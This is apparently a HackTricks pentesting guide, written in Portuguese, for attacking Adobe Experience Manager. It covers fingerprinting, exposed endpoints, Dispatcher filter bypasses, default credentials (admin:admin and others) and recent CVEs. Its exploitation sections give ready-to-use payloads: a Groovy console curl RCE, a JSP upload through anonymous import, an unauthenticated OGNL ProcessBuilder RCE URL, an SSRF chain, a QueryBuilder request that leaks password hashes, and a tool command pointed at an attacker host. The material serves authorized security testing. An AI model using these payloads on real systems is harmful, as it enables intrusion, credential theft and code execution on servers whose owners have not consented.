AEM (Adobe Experience Manager) Pentesting

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Adobe Experience Manager (AEM, parte do Adobe Experience Cloud) é um CMS corporativo que roda sobre Apache Sling/Felix (OSGi) e um Java Content Repository (JCR). Do ponto de vista de um atacante, instâncias AEM frequentemente expõem endpoints de desenvolvimento perigosos, regras fracas do Dispatcher, credenciais padrão e uma longa cauda de CVEs que são corrigidas a cada trimestre.

A checklist abaixo foca na superfície de ataque acessível externamente (unauth) que continua aparecendo em engajamentos reais (2022-2026).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Outros indicadores rápidos:

  • /etc.clientlibs/ static path present (returns JS/CSS).
  • /libs/granite/core/content/login.html página de login com o banner “Adobe Experience Manager”.
  • </script><!--/* CQ */--> comentário no fim do HTML.

2. Endpoints não autenticados de alto valor

PathO que obtémObservações
/.json, /.1.jsonnós JCR via DefaultGetServletFrequentemente bloqueado, mas Dispatcher bypass (veja abaixo) funciona.
/bin/querybuilder.json?path=/QueryBuilder APILeak da árvore de páginas, caminhos internos, nomes de usuário.
/system/console/status-*, /system/console/bundlesOSGi/Felix console403 por padrão; se exposto e credenciais encontradas ⇒ bundle-upload RCE.
/crx/packmgr/index.jspPackage ManagerPermite que pacotes de conteúdo autenticados façam upload de payload JSP.
/etc/groovyconsole/**AEM Groovy ConsoleSe exposto → execução arbitrária de Groovy / Java.
/libs/cq/AuditlogSearchServlet.jsonAudit logsDivulgação de informações.
/libs/cq/ui/content/dumplibs.htmldump de ClientLibsVetor XSS.
/adminui/debugAEM Forms on JEE Struts dev-mode OGNL evaluatorEm instalações do Forms mal configuradas (CVE-2025-54253) este endpoint executa OGNL não autenticado → RCE.

Dispatcher bypass tricks (ainda funcionam em 2025/2026)

A maioria dos sites de produção fica atrás do Dispatcher (reverse-proxy). Regras de filtro são frequentemente bypassed ao abusar de caracteres codificados ou extensões estáticas permitidas.

Ponto e vírgula clássico + extensão permitida

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

Se o Dispatcher permitir barras codificadas, isto retorna JSON mesmo quando /bin supostamente está negado.


3. Configurações incorretas comuns (ainda presentes em 2026)

  1. Servlet POST anônimoPOST /.json com :operation=import permite plantar novos nós JCR. Bloquear POST *.json no Dispatcher corrige isso.
  2. Perfis de usuário legíveis por todos – ACL padrão concede jcr:read em /home/users/**/profile/* para todos.
  3. Credenciais padrãoadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter habilitado ⇒ XSS refletido via ?debug=layout (CVE-2016-7882, ainda encontrado em instalações legadas 6.4).
  5. Groovy Console exposta – execução remota de código enviando um script Groovy:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
  1. Lacuna de barras codificadas no Dispatcher/bin/querybuilder.json e /etc/truststore.json acessíveis com %2f/%3B mesmo quando bloqueados por filtros de caminho.
  2. AEM Forms Struts devMode deixado habilitado/adminui/debug?expression= avalia OGNL sem autenticação (CVE-2025-54253) levando a RCE não autenticada; XXE associado em envio de Forms (CVE-2025-54254) permite leitura de arquivos.

4. Vulnerabilidades recentes (cadência de service-pack)

TrimestreCVE / BoletimAfetadosImpacto
Dec 2025APSB25-115, CVE-2025-64537/645396.5.24 & earlier, Cloud 2025.12Múltiplos XSS críticos/armazenados → execução de código via author UI.
Sep 2025APSB25-906.5.23 & earlierCadeia de bypass de feature de segurança (Dispatcher auth checker) – atualizar para 6.5.24/Cloud 2025.12.
Aug 2025CVE-2025-54253 / 54254 (AEM Forms JEE)Forms 6.5.23.0 and earlierDevMode OGNL RCE + XXE leitura de arquivos, não autenticado.
Jun 2025APSB25-486.5.23 & earlierStored XSS e escalada de privilégios em componentes Communities.
Dec 2024APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74)6.5.22 & earlierDOM/Stored XSS, execução arbitrária de código (baixa-priv).
Dec 2023APSB23-72≤ 6.5.18DOM-based XSS via URL forjada.

Sempre verifique o boletim APSB correspondente ao service-pack do cliente e exija a versão mais recente 6.5.24 (Nov 26, 2025) ou Cloud Service 2025.12. AEM Forms on JEE requer seu próprio add-on hotfix 6.5.0-0108+.


5. Trechos de exploração

5.1 RCE via bypass do Dispatcher + upload de JSP

Se escrita anônima for possível:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Agora faça uma requisição para /content/evil.jsp – o JSP é executado com o usuário do processo AEM.

5.2 SSRF to RCE (histórico < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py do aem-hacker automatiza toda a cadeia.

5.3 OGNL RCE em AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

Se estiver vulnerável, o corpo HTTP contém a saída do comando.

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

Retorna nós de usuário incluindo rep:password hashes quando as ACLs de leitura anônima são padrão.


6. Ferramentas

  • aem-hacker – Script de enumeração tipo canivete suíço, suporta dispatcher bypass, SSRF detection, default-creds checks e mais.
python3 aem_hacker.py -u https://target --host attacker-ip
  • Tenable WAS plugin 115065 – Detecta QueryBuilder hash disclosure & encoded-slash bypass automaticamente (publicado Dec 2025).
  • Content brute-force – requisitar recursivamente /_jcr_content.(json|html) para descobrir componentes ocultos.
  • osgi-infect – upload de um OSGi bundle malicioso via /system/console/bundles se creds estiverem disponíveis.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks